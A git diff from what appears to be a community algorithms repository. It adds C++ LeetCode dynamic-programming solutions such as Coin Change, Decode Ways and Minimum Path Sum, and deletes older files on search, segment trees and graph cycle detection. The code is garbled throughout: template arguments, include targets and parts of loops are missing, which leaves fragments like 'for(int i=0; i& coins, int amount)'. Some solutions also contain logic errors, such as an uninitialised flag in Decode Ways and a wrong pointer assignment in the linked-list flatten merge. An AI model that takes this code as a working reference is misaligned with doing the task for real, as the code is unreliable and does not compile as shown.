Change.cpp @@ -0,0 +1,28 @@ +//Link: https://leetcode.com/problems/coin-change/description/ + +class Solution { +private: + int solve(vector& coins, int amount, vector & dp) { + if(amount<0) return INT_MAX; + if(amount==0) return 0; + + if(dp[amount]!=-1) return dp[amount]; + + int mini = INT_MAX; + for(int i=0; i& coins, int amount) { + vector dp(amount+1, -1); + int ans = solve(coins, amount, dp); + + if(ans==INT_MAX) return -1; + else return ans; + } +}; diff --git a/Add Code Here/C++/Dynamic_programming/Medium/Decode Ways.cpp b/Add Code Here/C++/Dynamic_programming/Medium/Decode Ways.cpp new file mode 100644 index 00000000000..da103515aae --- /dev/null +++ b/Add Code Here/C++/Dynamic_programming/Medium/Decode Ways.cpp @@ -0,0 +1,39 @@ +//Link: https://leetcode.com/problems/decode-ways/description/ + +class Solution { +public: + int f(string &s,int i, vector &dp){ + int ans=0; + bool a,b=false; + if(i>=s.size()) + return 1; + if(s[i]=='0') + return 0; + if(dp[i]!=-1) + return dp[i]; + if(s[i]-'0'>=1 && s[i]-'0'<=26){ + a=true; + } + + if(i+1=0 && temp<=26){ + b=true; + } + + } + if(a && b) + return dp[i]= f(s,i+1,dp)+f(s,i+2,dp); + else + return dp[i]= f(s,i+1,dp); + + } + + int numDecodings(string s) { + vector dp(s.size(),-1); + return f(s,0,dp); + + + } +}; diff --git a/Add Code Here/C++/Dynamic_programming/Medium/Maximum Length of Repeated Subarray.cpp b/Add Code Here/C++/Dynamic_programming/Medium/Maximum Length of Repeated Subarray.cpp new file mode 100644 index 00000000000..97c2ae23b4b --- /dev/null +++ b/Add Code Here/C++/Dynamic_programming/Medium/Maximum Length of Repeated Subarray.cpp @@ -0,0 +1,24 @@ +//Link: https://leetcode.com/problems/maximum-length-of-repeated-subarray/description/ + +class Solution { +public: + int findLength(vector& a, vector& b) { + if(a.size() < b.size()) swap(a, b); + int m = a.size(); + int n = b.size(); + vector dp(m+1, 0); + int ans = 0; + + for(int i = 0; i=0; j--){ + if(a[i] == b[j]) { + dp[j+1] = 1+dp[j]; + } else { + dp[j+1] = 0; + } + ans = max(ans, dp[j+1]); + } + } + return ans; + } +}; diff --git a/Add Code Here/C++/Dynamic_programming/Medium/Minimum Path Sum.cpp b/Add Code Here/C++/Dynamic_programming/Medium/Minimum Path Sum.cpp new file mode 100644 index 00000000000..4b0af68f38d --- /dev/null +++ b/Add Code Here/C++/Dynamic_programming/Medium/Minimum Path Sum.cpp @@ -0,0 +1,23 @@ +//Link: https://leetcode.com/problems/minimum-path-sum/description/ + +class Solution { +public: + + int dp[201][201]; + + int f(int i, int j, vector>& grid){ + if(i == grid.size() - 1 and j == grid[0].size() - 1){ + return grid[i][j]; + } + if(dp[i][j] != -1) return dp[i][j]; + int ans = INT_MAX; + if(i + 1 < grid.size()) ans = min(ans, grid[i][j] + f(i + 1, j, grid)); + if(j + 1 < grid[0].size()) ans = min(ans, grid[i][j] + f(i, j + 1, grid)); + return dp[i][j] = ans; + } + + int minPathSum(vector>& grid) { + memset(dp, -1, sizeof dp); + return f(0, 0, grid); + } +}; diff --git a/Add Code Here/C++/Dynamic_programming/Medium/Unique Paths.cpp b/Add Code Here/C++/Dynamic_programming/Medium/Unique Paths.cpp new file mode 100644 index 00000000000..97bdd38f4d8 --- /dev/null +++ b/Add Code Here/C++/Dynamic_programming/Medium/Unique Paths.cpp @@ -0,0 +1,19 @@ +//Link: https://leetcode.com/problems/unique-paths/description/ + +class Solution { +public: + int paths(int i,int j,int m,int n,vector< vector>& dp){ + if (i >= m || j>= n){ + return 0; + } + if (i == m-1 && j == n-1) + return 1; + if (dp[i][j] != -1) return dp[i][j]; + return dp[i][j] = paths(i+1,j,m,n,dp)+paths(i,j+1,m,n,dp); + } + int uniquePaths(int m, int n) { + vector< vector> dp(m,vector(n,-1)); + return paths(0,0,m,n,dp); + + } +}; diff --git a/Add Code Here/C++/Edit Distance.cpp b/Add Code Here/C++/Edit Distance.cpp deleted file mode 100644 index 3870c53caf6..00000000000 --- a/Add Code Here/C++/Edit Distance.cpp +++ /dev/null @@ -1,26 +0,0 @@ -// https://leetcode.com/problems/edit-distance/ - -class Solution { -public: - int minDistance(string word1, string word2) { - int dp[word1.length()+1][word2.length()+1]; - for(int i=0; i -using namespace std; -void egyptianFraction(int n, int d) -{ -//When Both Numerator and denominator becomes zero then we simply return; - if (d == 0 || n == 0) - return; - if (d % n == 0) { - cout << "1/" << d / n; - return; - } - if (n % d == 0) { - cout << n / d; - return; - } - if (n > d) { - cout << n / d << " + "; - egyptianFraction(n % d, d); - return; - } - int x = d / n + 1; - cout << "1/" << x << " + "; - egyptianFraction(n * x - d, d * x); -} -int main() -{ - int numerator = 6, denominator = 14; - cout << "Egyptian Fraction representation of " - << numerator << "/" << denominator << " is" - << endl; - egyptianFraction(numerator, denominator); - return 0; -} diff --git a/Add Code Here/C++/EnvelopePattern.cpp b/Add Code Here/C++/EnvelopePattern.cpp deleted file mode 100644 index 629bacb3ad0..00000000000 --- a/Add Code Here/C++/EnvelopePattern.cpp +++ /dev/null @@ -1,90 +0,0 @@ -// C++ program to print envolepe -// Contributed by -// Name: Shubham -// GitHub Name: tiwarishubham635 -// GitHub profile: https://github.com/tiwarishubham635 -// Hacktoberfest 2022 - -/* -Input: 7 -Output: - -**************** -* ************ * -* ********** * -* ******** * -* ****** * -* **** * -* ** * -* ** * -* **** * -* ****** * -* ******** * -* ********** * -* ************ * -**************** - -*/ - -#include -using namespace std; - -void envolepe_pattern(int n) -{ - int i, j; - - // This is upper half of pattern - for (i = 1; i <= n; i++) - { - cout<<"*"; - // Left part of pattern - for (j = 1; j <= n; j++) - { - if (i > j) - cout << " "; - else - cout << "*"; - } - - // Right part of pattern - for (j = n; j >=1; j--) - { - if (i > j) - cout << " "; - else - cout << "*"; - } - cout<<"*"<=1; i--) - { - cout<<"*"; - // Left part of pattern - for (j = 1; j <= n; j++) - { - if (i > j) - cout << " "; - else - cout << "*"; - } - - // Right part of pattern - for (j = n; j >=1; j--) - { - if (i > j) - cout << " "; - else - cout << "*"; - } - cout<<"*"< https://codeforces.com/contest/52/problem/C - tags: data structures -**/ -#include -using namespace std; -//#define LOCAL -#define fastIO ios::sync_with_stdio(0), cin.tie(0) -#define endl '\n' -#define forn(i,a,b) for(ll i=a;i pii; -typedef pair psi; -typedef pair pcc; -typedef pair pdd; -typedef pair pll; -//cout << fixed << setprecision(15) < st, lazy; - int n; - ll neutro = 1e9,aux = 0 ; // "infinito" - segtree(const vector &v) - { - n = v.size(); - st.assign(n*4, 0); - lazy.assign(n*4,aux); - build(1, 0, n-1, v); - } - void build(int p, int L, int R, const vector &v) - { - if (L == R) st[p] = v[L]; - else - { - ll m = (L+R)/2, l = p*2, r = l+1; - build(l, L, m, v); - build(r, m+1, R, v); - st[p] = min(st[l], st[r]); - } - } - void propagate(ll p, ll L, ll R, int val) - { - if (val == aux) return; - st[p] += val; - lazy[p] = aux; - if (L == R) return; - ll l = p*2, r = l+1; - lazy[l] += val; - lazy[r] += val; - } - ll query(int i, int j) - { - return query(1, 0, n-1, i, j); - } - void upd(int i, int j, int val) - { - upd(1, 0, n-1, i, j, val); - } - - ll query(ll p, ll L, ll R, ll i, ll j) - { - propagate(p, L, R, lazy[p]); - if (i > R || j < L) return neutro; - if (i <= L && j >= R) return st[p]; - int m = (L+R)/2, l = p*2, r = l+1; - int lf = query(l, L, m, i, j); - int rg = query(r, m+1, R, i, j); - return min(lf, rg); - } - - void upd(ll p, ll L, ll R, ll i, ll j, int val) - { - propagate(p, L, R, lazy[p]); - if (i > R || j < L) return; - if (i <= L && j >= R) propagate(p, L, R, val);//st[p] = val; - else - { - int m = (L+R)/2, l = p*2, r = l+1; - upd(l, L, m, i, j, val); - upd(r, m+1, R, i, j, val); - st[p] = min(st[l], st[r]); - } - } -}; - -vector split(const string &s/*, char c*/) -{ - vector v; - stringstream ss(s); - string sub; - while (ss >> sub) v.pb(sub); - //while (getline(ss, sub, c)) v.pb(sub); - return v; -} -int main() -{ - fastIO; -#ifdef LOCAL - freopen("in.txt", "r", stdin); -#endif - - int q,n; - string s; - cin >> n; - vector v(n,0); - forn(i,0,n) cin >> v[i]; - cin >> q; - segtree st(v); - cin.ignore(); - while(q--) - { - getline(cin, s); - vector aux = split(s); - if(aux.sz == 2) - { - ll a = stoi(aux[0]), b = stoi(aux[1]), ans = 0; - if(a > b) - { - ans = min(st.query(0, b), st.query(a, n-1)); - } - else - { - ans = st.query(a, b); - } - cout << ans << endl; - } - else - { - ll a = stoi(aux[0]), b = stoi(aux[1]), v = stoi(aux[2]), ans = 0; - if(a > b) - { - st.upd(a, n, v); - st.upd(0, b, v); - } - else - { - st.upd(a, b, v); - } - } - } -} diff --git a/Add Code Here/C++/Exponential Search Algo.cpp b/Add Code Here/C++/Exponential Search Algo.cpp deleted file mode 100644 index c466d029c99..00000000000 --- a/Add Code Here/C++/Exponential Search Algo.cpp +++ /dev/null @@ -1,130 +0,0 @@ -// C++ program to find an element x in a - -// sorted array using Exponential search. - -#include - -using namespace std; - - - -int binarySearch(int arr[], int, int, int); - - - -// Returns position of first occurrence of - -// x in array - -int exponentialSearch(int arr[], int n, int x) - -{ - - // If x is present at first location itself - - if (arr[0] == x) - - return 0; - - - - // Find range for binary search by - - // repeated doubling - - int i = 1; - - while (i < n && arr[i] <= x) - - i = i*2; - - - - // Call binary search for the found range. - - return binarySearch(arr, i/2, - - min(i, n-1), x); - -} - - - -// A recursive binary search function. It returns - -// location of x in given array arr[l..r] is - -// present, otherwise -1 - -int binarySearch(int arr[], int l, int r, int x) - -{ - - if (r >= l) - - { - - int mid = l + (r - l)/2; - - - - // If the element is present at the middle - - // itself - - if (arr[mid] == x) - - return mid; - - - - // If element is smaller than mid, then it - - // can only be present n left subarray - - if (arr[mid] > x) - - return binarySearch(arr, l, mid-1, x); - - - - // Else the element can only be present - - // in right subarray - - return binarySearch(arr, mid+1, r, x); - - } - - - - // We reach here when element is not present - - // in array - - return -1; - -} - - - -// Driver code - -int main(void) - -{ - - int arr[] = {2, 3, 4, 10, 40}; - - int n = sizeof(arr)/ sizeof(arr[0]); - - int x = 10; - - int result = exponentialSearch(arr, n, x); - - (result == -1)? cout <<"Element is not present in array" - - : cout <<"Element is present at index " << result; - - return 0; - } diff --git a/Add Code Here/C++/Find duplicates in an array.cpp b/Add Code Here/C++/Find duplicates in an array.cpp deleted file mode 100644 index 960ab90a7fd..00000000000 --- a/Add Code Here/C++/Find duplicates in an array.cpp +++ /dev/null @@ -1,27 +0,0 @@ -//Find duplicates in an array - -class Solution{ - public: - vector duplicates(int arr[], int n) { - int a[n]={0}; - for(int i=0;i v; - int flag=0; - for(int i=0;i1) - { - v.push_back(i); - flag=1; - } - } - if(flag==0) - { - return {-1}; - } - return v; - } -}; diff --git a/Add Code Here/C++/Find the length using recursive and iterative way.txt b/Add Code Here/C++/Find the length using recursive and iterative way.txt deleted file mode 100644 index 4af53b4d6da..00000000000 --- a/Add Code Here/C++/Find the length using recursive and iterative way.txt +++ /dev/null @@ -1,32 +0,0 @@ -How to find the length of linked list both iterative way and recursive way - -1. Iterative way - -int getCount(Node* head){ - int count=0; - Node*current=head; - while(current!=NULL){ - count++; - current=current->next; - } - return count; -} - -2. Recursive Way -algorithm - -if head is NULL return 0 -else return 1+getCount(head->next) - - -Source Code: - -int getCount(Node* head) -{ - if(head==NULL) - return 0; - - return 1+getCount(head->next) - -} - diff --git a/Add Code Here/C++/FindPeakElementA.cpp b/Add Code Here/C++/FindPeakElementA.cpp deleted file mode 100644 index 30c267adafc..00000000000 --- a/Add Code Here/C++/FindPeakElementA.cpp +++ /dev/null @@ -1,19 +0,0 @@ -#include -#include -using namespace std; - -class Solution { -public: - int findPeakElement(vector& nums) { - - int l=0,r=nums.size()-1; - - while(l -using namespace std; - -int main() { - int a[10][10], transpose[10][10], row, column, i, j; - - cout << "Enter rows and columns of matrix: "; - cin >> row >> column; - - cout << "\nEnter elements of matrix: " << endl; - - // Storing matrix elements - for (int i = 0; i < row; ++i) { - for (int j = 0; j < column; ++j) { - cout << "Enter element a" << i + 1 << j + 1 << ": "; - cin >> a[i][j]; - } - } - - // Printing the a matrix - cout << "\nEntered Matrix: " << endl; - for (int i = 0; i < row; ++i) { - for (int j = 0; j < column; ++j) { - cout << " " << a[i][j]; - if (j == column - 1) - cout << endl << endl; - } - } -// Computing transpose of the matrix - for (int i = 0; i < row; ++i) - for (int j = 0; j < column; ++j) { - transpose[j][i] = a[i][j]; - } - - // Printing the transpose - cout << "\nTranspose of Matrix: " << endl; - for (int i = 0; i < column; ++i) - for (int j = 0; j < row; ++j) { - cout << " " << transpose[i][j]; - if (j == row - 1) - cout << endl << endl; - } - - return 0; -} diff --git a/Add Code Here/C++/Flattening Linked List.txt b/Add Code Here/C++/Flattening Linked List.txt deleted file mode 100644 index 8da3344112e..00000000000 --- a/Add Code Here/C++/Flattening Linked List.txt +++ /dev/null @@ -1,34 +0,0 @@ -Node*Merge(Node*a, Node*b) -{ - if(a==NULL)return b; - if(b==NULL)return a; - - Node* results; - if(a->datadata) - { - results=a; - results->bottom=a; - results->next=Merge(a->bottom, b); - } - else{ - results=b; - results->bottom=Merge(a, b->bottom); - } - results->next=NULL; - return results; -} - -Node*Flatten(Node *root) -{ - if(root==NULL || root->next==NULL) - { - return root; - - } - else{ - return Merge(root, Flatten(root->next)); - } -} - - - \ No newline at end of file diff --git a/Add Code Here/C++/Floyd Warshall Algorithm b/Add Code Here/C++/Floyd Warshall Algorithm deleted file mode 100644 index 44af5d42b81..00000000000 --- a/Add Code Here/C++/Floyd Warshall Algorithm +++ /dev/null @@ -1,46 +0,0 @@ - - -#include -using namespace std; - -// defining the number of vertices -#void printMatrix(int matrix[][nV]); - - -void floydWarshall(int graph[][nV]) { - int matrix[nV][nV], i, j, k; - - for (i = 0; i < nV; i++) - for (j = 0; j < nV; j++) - matrix[i][j] = graph[i][j]; - - for (k = 0; k < nV; k++) { - for (i = 0; i < nV; i++) { - for (j = 0; j < nV; j++) { - if (matrix[i][k] + matrix[k][j] < matrix[i][j]) - matrix[i][j] = matrix[i][k] + matrix[k][j]; - } - } - } - printMatrix(matrix); -} - -void printMatrix(int matrix[][nV]) { - for (int i = 0; i < nV; i++) { - for (int j = 0; j < nV; j++) { - if (matrix[i][j] == INF) - printf("%4s", "INF"); - else - printf("%4d", matrix[i][j]); - } - printf("\n"); - } -} - -int main() { - int graph[nV][nV] = {{0, 3, INF, 5}, - {2, 0, INF, 4}, - {INF, 1, 0, INF}, - {INF, INF, 2, 0}}; - floydWarshall(graph); -} diff --git a/Add Code Here/C++/FlyodWarshal_Mohak1301.cpp b/Add Code Here/C++/FlyodWarshal_Mohak1301.cpp new file mode 100644 index 00000000000..369dffe2a0e --- /dev/null +++ b/Add Code Here/C++/FlyodWarshal_Mohak1301.cpp @@ -0,0 +1,51 @@ +// Floyd-Warshall Algorithm in C++ + +#include +using namespace std; + +// defining the number of vertices +#define nV 4 + +#define INF 999 + +void printMatrix(int matrix[][nV]); + +// Implementing floyd warshall algorithm +void floydWarshall(int graph[][nV]) { + int matrix[nV][nV], i, j, k; + + for (i = 0; i < nV; i++) + for (j = 0; j < nV; j++) + matrix[i][j] = graph[i][j]; + + // Adding vertices individually + for (k = 0; k < nV; k++) { + for (i = 0; i < nV; i++) { + for (j = 0; j < nV; j++) { + if (matrix[i][k] + matrix[k][j] < matrix[i][j]) + matrix[i][j] = matrix[i][k] + matrix[k][j]; + } + } + } + printMatrix(matrix); +} + +void printMatrix(int matrix[][nV]) { + for (int i = 0; i < nV; i++) { + for (int j = 0; j < nV; j++) { + if (matrix[i][j] == INF) + printf("%4s", "INF"); + else + printf("%4d", matrix[i][j]); + } + printf("\n"); + } +} + +int main() { + int graph[nV][nV] = {{0, 3, INF, 5}, + {2, 0, INF, 4}, + {INF, 1, 0, INF}, + {INF, INF, 2, 0}}; + floydWarshall(graph); +} diff --git a/Add Code Here/C++/FurthestBuilding.cpp b/Add Code Here/C++/FurthestBuilding.cpp deleted file mode 100644 index 44c490bcee8..00000000000 --- a/Add Code Here/C++/FurthestBuilding.cpp +++ /dev/null @@ -1,26 +0,0 @@ -#include -#include -using namespace std; - -class Solution { -public: - int furthestBuilding(vector& heights, int bricks, int ladders) { - int n= heights.size(); - priority_queue pq; - int jump=0; - int i; - for(i=0;iladders){ - bricks+=pq.top(); - pq.pop(); - } - if(bricks<0) return i; - - } - - return i; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/Remove_duplicates_from_sorted_linkedList.cpp b/Add Code Here/C++/Graph-patterns/Remove_duplicates_from_sorted_linkedList.cpp deleted file mode 100644 index 62e0f831614..00000000000 --- a/Add Code Here/C++/Graph-patterns/Remove_duplicates_from_sorted_linkedList.cpp +++ /dev/null @@ -1,97 +0,0 @@ -/* C++ Program to remove duplicates from a sorted linked list */ -#include -using namespace std; - -/* Link list node */ -class Node -{ - public: - int data; - Node* next; -}; - -/* The function removes duplicates from a sorted list */ -void removeDuplicates(Node* head) -{ - /* Pointer to traverse the linked list */ - Node* current = head; - - /* Pointer to store the next pointer of a node to be deleted*/ - Node* next_next; - - /* do nothing if the list is empty */ - if (current == NULL) - return; - - /* Traverse the list till last node */ - while (current->next != NULL) - { - /* Compare current node with next node */ - if (current->data == current->next->data) - { - /* The sequence of steps is important*/ - next_next = current->next->next; - free(current->next); - current->next = next_next; - } - else /* This is tricky: only advance if no deletion */ - { - current = current->next; - } - } -} - -/* UTILITY FUNCTIONS */ -/* Function to insert a node at the beginning of the linked list */ -void push(Node** head_ref, int new_data) -{ - /* allocate node */ - Node* new_node = new Node(); - - /* put in the data */ - new_node->data = new_data; - - /* link the old list off the new node */ - new_node->next = (*head_ref); - - /* move the head to point to the new node */ - (*head_ref) = new_node; -} - -/* Function to print nodes in a given linked list */ -void printList(Node *node) -{ - while (node!=NULL) - { - cout<<" "<data; - node = node->next; - } -} - -/* Driver program to test above functions*/ -int main() -{ - /* Start with the empty list */ - Node* head = NULL; - - /* Let us create a sorted linked list to test the functions - Created linked list will be 11->11->11->13->13->20 */ - push(&head, 20); - push(&head, 13); - push(&head, 13); - push(&head, 11); - push(&head, 11); - push(&head, 11); - - cout<<"Linked list before duplicate removal "; - printList(head); - - /* Remove duplicates from linked list */ - removeDuplicates(head); - - cout<<"\nLinked list after duplicate removal "; - printList(head); - - return 0; -} - \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/bfs/01-matrix.cpp b/Add Code Here/C++/Graph-patterns/bfs/01-matrix.cpp deleted file mode 100644 index b05beac3ea1..00000000000 --- a/Add Code Here/C++/Graph-patterns/bfs/01-matrix.cpp +++ /dev/null @@ -1,100 +0,0 @@ -// 2 Methods -// 1. MODIFIED BFS -class Solution -{ -public: - vector> updateMatrix(vector> &mat) - { - int m = mat.size(), n = mat[0].size(), d[] = {-1, 0, 1, 0, -1}; - queue q; - - for (int i = 0; i < m; ++i) - for (int j = 0; j < n; ++j) - if (mat[i][j] == 0) - q.push(n * i + j); - else - mat[i][j] = INT_MAX; - - while (q.size()) - { - int y = q.front() % n, x = (q.front() - y) / n; - q.pop(); - - for (int i = 0; i < 4; ++i) - { - int nx = x + d[i], ny = y + d[i + 1]; - - if (nx < 0 || ny < 0 || nx == m || ny == n) - continue; - - if (mat[x][y] + 1 < mat[nx][ny]) - mat[nx][ny] = 1 + mat[x][y], q.push(nx * n + ny); - } - } - - return mat; - } -}; - -// 2. DP -/* - ######################################## - GENERAL IDEA - - at each i, j we have to compare it with 4 positions, - - 1) top i - 1, j ---| - | can we done using top left to bottom right traversal - 2) left i, j - 1 ---| - - 3) right i, j + 1 ---| - | can we done using bottom right to top left traveral - 4) bottom i + 1, j ---| - - ######################################## - - let dp[i][j] = min distance from 0 to i, j position - - first we traverse from top left to bottom right - at each i, j - - we have, dp[i][j] = min(dp[i - 1][j], dp[i][j - 1]) + 1 - [as i-1,j and i,j-1 are already optimised in this manner] - - now, we traverse from bottom right to top left - at each i, j - - we have dp[i][j] = min(dp[i][j], min(dp[i+1][j], dp[i][j+1]) + 1) - [as i+1,j and i,j+1 are already optimised in this manner] - -*/ -class Solution -{ -public: - vector> updateMatrix(vector> &mat) - { - int m = mat.size(), n = mat[0].size(), t, b, l, r, MAX = 1e5; - - for (int i = 0; i < m; ++i) - for (int j = 0; j < n; ++j) - if (mat[i][j]) - { - t = i == 0 ? MAX : mat[i - 1][j]; - l = j == 0 ? MAX : mat[i][j - 1]; - - mat[i][j] = min(l, t) + 1; - } - - for (int i = m - 1; i >= 0; --i) - for (int j = n - 1; j >= 0; --j) - if (mat[i][j]) - { - b = i == m - 1 ? MAX : mat[i + 1][j]; - r = j == n - 1 ? MAX : mat[i][j + 1]; - - mat[i][j] = min(mat[i][j], min(b, r) + 1); - } - - return mat; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/bfs/2-as-far-from-land-possible.cpp b/Add Code Here/C++/Graph-patterns/bfs/2-as-far-from-land-possible.cpp deleted file mode 100644 index 5cb1bd3f85f..00000000000 --- a/Add Code Here/C++/Graph-patterns/bfs/2-as-far-from-land-possible.cpp +++ /dev/null @@ -1,87 +0,0 @@ -// Exactly Same As 01 Matrix -// 1. Modified BFS -class Solution -{ -public: - int maxDistance(vector> &g) - { - int m = g.size(), n = g[0].size(), d[] = {-1, 0, 1, 0, -1}; - queue q; - - for (int i = 0; i < m; ++i) - for (int j = 0; j < n; ++j) - if (g[i][j]) - { - g[i][j] = 0; - q.push(i * n + j); - } - else - g[i][j] = INT_MAX; - - if (q.size() == 0 || q.size() == m * n) - return -1; - - int res = 0; - - while (q.size()) - { - int y = q.front() % n, x = (q.front() - y) / n; - q.pop(); - - for (int i = 0; i < 4; ++i) - { - int nx = x + d[i], ny = y + d[i + 1]; - if (nx >= 0 && nx < m && ny >= 0 && ny < n && g[x][y] + 1 < g[nx][ny]) - g[nx][ny] = g[x][y] + 1, q.push(n * nx + ny); - } - } - - for (int i = 0; i < m; ++i) - res = max(res, *max_element(g[i].begin(), g[i].end())); - - return res; - } -}; - -// 2. BFS USING 2 QUEUES -// https://leetcode.com/problems/as-far-from-land-as-possible/discuss/360963/C%2B%2B-with-picture-DFS-and-BFS -class Solution -{ -public: - int maxDistance(vector> &g) - { - int m = g.size(), n = g[0].size(), d[] = {-1, 0, 1, 0, -1}; - queue> q, q1; - - for (int i = 0; i < m; ++i) - for (int j = 0; j < n; ++j) - if (g[i][j]) - for (int k = 0; k < 4; ++k) - q.push({i + d[k], j + d[k + 1]}); - - int steps = 1; - - while (q.size()) - { - ++steps; - while (q.size()) - { - int x = q.front().first, y = q.front().second; - q.pop(); - - if (x < 0 || y < 0 || x == m || y == n || g[x][y] != 0) - continue; - g[x][y] = steps; - - for (int k = 0; k < 4; ++k) - q1.push({x + d[k], y + d[k + 1]}); - } - swap(q, q1); - } - - return steps == 2 ? -1 : steps - 2; - } -}; - -// 3. DP Method same as 01 Matrix -// check that, not writing it again \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/bfs/3-rotten-oranges.cpp b/Add Code Here/C++/Graph-patterns/bfs/3-rotten-oranges.cpp deleted file mode 100644 index 423b2bddbf2..00000000000 --- a/Add Code Here/C++/Graph-patterns/bfs/3-rotten-oranges.cpp +++ /dev/null @@ -1,49 +0,0 @@ -// BEAUTIFUL QUESTION - -class Solution -{ -public: - int orangesRotting(vector> &g) - { - int m = g.size(), n = g[0].size(), d[5] = {-1, 0, 1, 0, -1}, cnt = 0; - - queue q; - - for (int i = 0; i < m; ++i) - for (int j = 0; j < n; ++j) - if (g[i][j] == 2) - q.push(n * i + j); - else if (g[i][j] == 1) - ++cnt; - - if (cnt == 0) - return 0; - - int mins = -1; - - while (!q.empty()) - { - int sz = q.size(); - ++mins; - - while (sz--) - { - int y = q.front() % n, x = (q.front() - y) / n; - q.pop(); - - for (int i = 0; i < 4; ++i) - { - int nx = x + d[i], ny = y + d[i + 1]; - - if (nx >= 0 && nx < m && ny >= 0 && ny < n && g[nx][ny] == 1) - --cnt, g[nx][ny] = -1, q.push(n * nx + ny); - } - } - } - - if (cnt != 0) - return -1; - - return mins; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/bfs/4-shortest-path-in-binary-matrix.cpp b/Add Code Here/C++/Graph-patterns/bfs/4-shortest-path-in-binary-matrix.cpp deleted file mode 100644 index d63b1efd3d4..00000000000 --- a/Add Code Here/C++/Graph-patterns/bfs/4-shortest-path-in-binary-matrix.cpp +++ /dev/null @@ -1,53 +0,0 @@ -// Shortest Path Using BFS -// Beautiful - -class Solution -{ -public: - int shortestPathBinaryMatrix(vector> &g) - { - int m = g.size(), n = g[0].size(); - if (g[0][0] != 0 || g[m - 1][n - 1] != 0) - return -1; - - int d1[5] = {-1, 0, 1, 0, -1}, d2[6] = {-1, 1, -1, 1, 1, -1}; - queue q; - q.push(0); - - int steps = 0; - - while (q.size()) - { - int sz = q.size(); - ++steps; - - while (sz--) - { - int y = q.front() % n, x = (q.front() - y) / n; - q.pop(); - - if (x == m - 1 && y == n - 1) - return steps; - - for (int i = 0; i < 4; ++i) - { - int x1 = x + d1[i], y1 = y + d1[i + 1], x2 = x + d2[i], y2 = y + d2[i + 2]; - - if (x1 >= 0 && y1 >= 0 && x1 < m && y1 < n && g[x1][y1] == 0) - { - g[x1][y1] = 1; - q.push(n * x1 + y1); - } - - if (x2 >= 0 && y2 >= 0 && x2 < m && y2 < n && g[x2][y2] == 0) - { - g[x2][y2] = 1; - q.push(n * x2 + y2); - } - } - } - } - - return -1; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/cycle-detection/bfs-kahns-directed-cycle.cpp b/Add Code Here/C++/Graph-patterns/cycle-detection/bfs-kahns-directed-cycle.cpp deleted file mode 100644 index a30a3150b8a..00000000000 --- a/Add Code Here/C++/Graph-patterns/cycle-detection/bfs-kahns-directed-cycle.cpp +++ /dev/null @@ -1,37 +0,0 @@ -class Solution -{ -public: - bool isCyclic(int n, vector adj[]) - { - int in[n], cnt = 0; - memset(in, 0, sizeof(in)); - - for (int i = 0; i < n; ++i) - { - for (auto &v : adj[i]) - ++in[v]; - } - - queue q; - for (int i = 0; i < n; ++i) - if (in[i] == 0) - q.push(i), cnt++; - - while (q.size()) - { - int node = q.front(); - q.pop(); - - for (auto &v : adj[node]) - { - if (--in[v] == 0) - { - q.push(v); - cnt++; - } - } - } - - return cnt != n; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/cycle-detection/bfs-undirected-cycle.cpp b/Add Code Here/C++/Graph-patterns/cycle-detection/bfs-undirected-cycle.cpp deleted file mode 100644 index 94d6967452c..00000000000 --- a/Add Code Here/C++/Graph-patterns/cycle-detection/bfs-undirected-cycle.cpp +++ /dev/null @@ -1,38 +0,0 @@ -class Solution -{ - bool bfs(int node, vector adj[], bool vis[]) - { - vis[node] = true; - queue> q; // node, parent - q.push({node, -1}); - - while (q.size()) - { - int v = q.front().first, parent = q.front().second; - q.pop(); - - for (auto &i : adj[v]) - if (vis[i] == false) - { - vis[i] = true; - q.push({i, v}); - } - else if (i != parent) // node not parent but already visited ==> cycle - return true; - } - return false; - } - -public: - bool isCycle(int n, vector adj[]) - { - bool vis[n]; - memset(vis, 0, sizeof(vis)); - - for (int i = 0; i < n; ++i) - if (vis[i] == false && bfs(i, adj, vis) == true) - return true; - - return false; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/cycle-detection/dfs-directed-cycle.cpp b/Add Code Here/C++/Graph-patterns/cycle-detection/dfs-directed-cycle.cpp deleted file mode 100644 index 261f894adaa..00000000000 --- a/Add Code Here/C++/Graph-patterns/cycle-detection/dfs-directed-cycle.cpp +++ /dev/null @@ -1,39 +0,0 @@ -// Maintain 2 vis arrays -// 1st => vis[] => simply marks if we have visited that node or not -// 2nd => curr[] => marks true if we have visited that node in current dfs call -// we turn curr[i] = false when we are backtracking from a node - -class Solution -{ - bool dfs(int node, vector adj[], bool vis[], bool curr[]) - { - vis[node] = true; - curr[node] = true; - - for (auto &i : adj[node]) - if (vis[i] == false) - { - if (dfs(i, adj, vis, curr) == true) - return true; - } - else if (curr[i] == true) - return true; - - curr[node] = false; - return false; - } - -public: - bool isCyclic(int n, vector adj[]) - { - bool vis[n], curr[n]; - memset(vis, 0, sizeof(vis)); - memset(curr, 0, sizeof(curr)); - - for (int i = 0; i < n; ++i) - if (vis[i] == false && dfs(i, adj, vis, curr) == true) - return true; - - return false; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/cycle-detection/dfs-undirected-cycle.cpp b/Add Code Here/C++/Graph-patterns/cycle-detection/dfs-undirected-cycle.cpp deleted file mode 100644 index cb765cd7b39..00000000000 --- a/Add Code Here/C++/Graph-patterns/cycle-detection/dfs-undirected-cycle.cpp +++ /dev/null @@ -1,31 +0,0 @@ -class Solution -{ - bool dfs(int node, int parent, vector adj[], bool vis[]) - { - vis[node] = true; - - for (auto &i : adj[node]) - if (vis[i] == false) - { - if (dfs(i, node, adj, vis) == true) - return true; - } - else if (i != parent) - return true; - - return false; - } - -public: - bool isCycle(int n, vector adj[]) - { - bool vis[n]; - memset(vis, 0, sizeof(vis)); - - for (int i = 0; i < n; ++i) - if (vis[i] == false && dfs(i, -1, adj, vis) == true) - return true; - - return false; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Graph-patterns/cycle-detection/dp-dfs-directed-cycle.cpp b/Add Code Here/C++/Graph-patterns/cycle-detection/dp-dfs-directed-cycle.cpp deleted file mode 100644 index 97ca01ed275..00000000000 --- a/Add Code Here/C++/Graph-patterns/cycle-detection/dp-dfs-directed-cycle.cpp +++ /dev/null 